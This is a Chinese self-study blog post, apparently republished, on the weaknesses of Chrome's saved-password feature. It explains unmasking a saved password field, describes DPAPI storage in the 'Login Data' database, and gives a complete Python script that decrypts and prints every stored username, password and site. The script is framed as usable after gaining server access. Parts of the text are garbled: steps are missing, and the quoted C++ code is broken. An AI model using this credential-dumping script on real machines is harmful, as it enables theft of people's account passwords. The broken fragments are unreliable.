[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记 |
您所在的位置:网站首页 › 记住帐号密码功能怎么设置的呢 › [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记 |
补充学习资料: TK13大神Windows PE专栏 https://blog.csdn.net/u013761036/article/category/6401236 TK13大神Windows对抗专栏 https://blog.csdn.net/u013761036/article/category/6365454 鬼手56大神六个专栏 https://blog.csdn.net/qq_38474570/article/details/87707942 whatiwhere大神逆向工程专栏 https://blog.csdn.net/whatiwhere/article/category/7586534 一.用户登录明文与加密浅析浏览器开发模式通常可以查看源代码,以简书为例,在 登录页面 输入用户名和密码,然后右键“检查”或“审查元素”。 运行结果如下所示,点击“Network”选择页面能查看消息头Headers及状态信息、Cookies或Sessions。这是开发者常用的分析方法,尤其是网络爬虫,需要审查元素定位所需信息的HTML源码。
MD5即Message-Digest Algorithm 5(信息-摘要算法第5版),是计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护,确保信息传输完整一致。MD5是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍已有MD5实现。注意,任意长度的数据,算出的MD5值长度都是固定的;对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。 MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被"压缩"成一种保密的格式(就是把一个任意长度的字节串变换成一定长的十六进制数字串)。MD5理论上还是安全的,毕竟号称是不可逆算法。但是,目前网上有一些神器撞库网站,把所有密码列举出来,然后去比对的暴力破解法,虽然笨重,但是也很有效。 二.浏览器保留密码功能漏洞示例 漏洞测试1浏览器本机保留密码功能是非常不安全的,不推荐大家使用,不过如果你想找回密码用这种方式倒是不错。 • 首先,在需要登录的页面上选择浏览器自动保留用户名和密码,并提交登录。 • 接着,退出重新登录,Chrome浏览器审查元素,定位密码位置。 • 最后,将输入框input元素的type属性,从“password”修改为“text”,显示结果如下所示。
那么,Chrome浏览器是如何存储这些用户名和密码呢?它是否也不安全呢? 首先,打开密码管理器。设置->高级->密码,或者输入 chrome://settings/passwords。 作者想继续修改input密码的属性,看看能不能显示密码。如下图所示: 接着打开这个文件,还好这个文件是加密的,而不是明文存储。 Navicat premium是一款数据库管理工具,是一个可多重连线资料库的管理工具,它可以让你以单一程式同时连线到 MySQL、SQLite、Oracle 及 PostgreSQL 资料库,让管理不同类型的资料库更加的方便。 第一步,新建连接。 参考文章: https://www.secpulse.com/archives/3351.html http://netsecurity.51cto.com/art/201603/507131.htm https://blog.csdn.net/u013761036/article/details/53822036 第六步,使用TK13大神分享的AnalysisChromeLogin.exe工具进行解密。 下载地址:http://download.csdn.net/detail/u013761036/9719029 下面分享N1ckw0rm大神讲解的Chrome浏览器密码存储机制。 谷歌浏览器加密后的密钥存储于%APPDATA%…\Local\Google\Chrome\User Data\Default\Login Data”下的一个SQLite数据库中。那么他是如何加密的呢,通过开源的Chromium,我们来一探究竟: 首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下: Provisional_save_manager_->SubmitPassed(); if (provisional_save_manager_->HasGeneratedPassword()) UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1); If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){ Delegate_->AddSavePasswordInfoBarIfPermitted( Provisional_save_manager_.release()); } else { provisional_save_manager_->Save(); Provisional_save_manager_.reset(); }当我们登录成功时,并且使用的是一套新的证书(也就是说是***次登录该网站),Chrome就会询问我们是否需要记住密码。 那么登录成功后,密码是如何被Chrome存储的呢?答案在EncryptedString函数,通过调用EncryptString16函数,代码如下: Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) { DATA_BLOB input; Input.pbData = static_cast(plaintext.length()); DATA_BLOB output; BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output); if (!result) Return false; //复制操作 Ciphertext->assign(reinterpret_cast(output.pbData); LocalFree(output.pbData); Return true; }代码利用了Widows API函数CryptProtectData(前面提到过)来加密。当我们拥有证书时,密码就会被回复给我们使用。在我们得到服务器权限后,证书的问题已经不用考虑了,所以接下来就可以获得这些密码。 下面通过Python代码实现从环境变量中读取Login Data文件的数据,再获取用户名和密码,并将接收的结果通过win32crypt.CryptUnprotectData解密密码。 google_path = r’ Google\Chrome\User Data\Default\Login Data’ file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path) #Login Data文件可以利用python中的sqlite3库来操作。 conn = sqlite3.connect(file_path) for row in conn.execute('select username_value, password_value, signon_realm from logins'): #利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。 cursor = conn.cursor() cursor.execute('select username_value, password_value, signon_realm from logins') #接收全部返回结果 #利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,获取Chrome浏览器存储的密码 for data in cursor.fetchall(): passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)用CryptUnprotectData函数解密,与之对应的是前面提到的CryptProtectData,理论上来说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,大家可以自行尝试 完整的脚本代码如下所示: #coding:utf8 import os, sys import sqlite3 import win32crypt google_path = r'Google\Chrome\User Data\Default\Login Data' db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path) conn = sqlite3.connect(db_file_path) cursor = conn.cursor() cursor.execute('select username_value, password_value, signon_realm from logins') #接收全部返回结果 for data in cursor.fetchall(): passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0) if passwd: print '-------------------------' print u'[+]用户名: ' + data[0] print u'[+]密码: ' + passwd[1] print u'[+]网站URL: ' + data[2]四.总结 开始学习杨秀璋老师的网络安全,文章会经过优化,来作为学习打卡的标志! 本文为CSDN博主「Eastmount」的原创文章 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |